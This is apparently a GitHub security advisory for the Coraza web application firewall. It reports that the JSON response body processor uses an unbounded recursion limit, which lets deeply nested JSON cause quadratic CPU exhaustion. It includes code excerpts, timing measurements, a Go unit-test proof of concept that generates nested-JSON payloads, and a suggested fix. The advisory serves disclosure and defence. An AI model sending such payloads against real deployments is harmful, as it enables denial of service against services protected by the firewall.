Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustionGHSA-3c6w-j9xm-8h2h

Summary

The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for responses.

Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time.

Root cause

internal/bodyprocessors/json.go

const ignoreJSONRecursionLimit = -1                     // line 51

func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
    ...
    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}

func (js *jsonBodyProcessor) ProcessRequest(...) error {
    ...
    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}

The guard and the decrement:

func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
    if maxRecursion == 0 {                              // line 106
        return errors.New("max recursion reached while reading json object")
    }
    ...
    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126

Note that ProcessResponse discards BodyProcessorOptions (the parameter is _), so even a caller that wanted to set a limit on responses has no way to.

Why the cost is quadratic

Every nesting level re-parses the remaining nested document through gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55):

depth   bytes    ProcessResponse time
5000    30004    30 ms
10000   60004    119 ms
20000   120004   456 ms
40000   240004   2.18 s
87381   524290   12.09 s

Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB ResponseBodyLimit.

PoC

Save as internal/bodyprocessors/poc_json_test.go, then:

go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...

package bodyprocessors_test

import (
      "strings"
      "testing"
      "time"

      "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
      "github.com/corazawaf/coraza/v3/internal/bodyprocessors"
      "github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func nestedJSON(depth int) string {
      var sb strings.Builder
      sb.Grow(depth*6 + 4)
      for i := 0; i < depth; i++ {
              sb.WriteString(`{"a":`)
      }
      sb.WriteString("null")
      for i := 0; i < depth; i++ {
              sb.WriteByte('}')
      }
      return sb.String()
}

func TestPoCJSONResponse(t *testing.T) {
      proc, _ := bodyprocessors.GetBodyProcessor("json")

      // Request path is bounded, response path is not.
      body := nestedJSON(5000)
      v := corazawaf.NewTransactionVariables()
      errReq := proc.ProcessRequest(strings.NewReader(body), v,
              plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
      errRes := proc.ProcessResponse(strings.NewReader(body), v,
              plugintypes.BodyProcessorOptions{})
      t.Logf("depth=5000 ProcessRequest  err=%v", errReq)
      t.Logf("depth=5000 ProcessResponse err=%v", errRes)

      // Quadratic scaling on the response path.
      for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
              b := nestedJSON(depth)
              vv := corazawaf.NewTransactionVariables()
              start := time.Now()
              proc.ProcessResponse(strings.NewReader(b), vv,
                      plugintypes.BodyProcessorOptions{})
              t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start))
      }
}

Output on the reference machine:

depth=5000 ProcessRequest  err=max recursion reached while reading json object
depth=5000 ProcessResponse err=<nil>
depth=5000   bytes=30004   time=30.3ms
depth=10000  bytes=60004   time=119.3ms
depth=20000  bytes=120004  time=456.1ms
depth=40000  bytes=240004  time=2.185s
depth=87381  bytes=524290  time=12.085s

Impact

This needs ResponseBodyAccess turned on and a backend that returns JSON (application/json). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF.

The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have.

Suggested fix

Bound ProcessResponse the same way the request path is bounded: add a ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit instead of -1.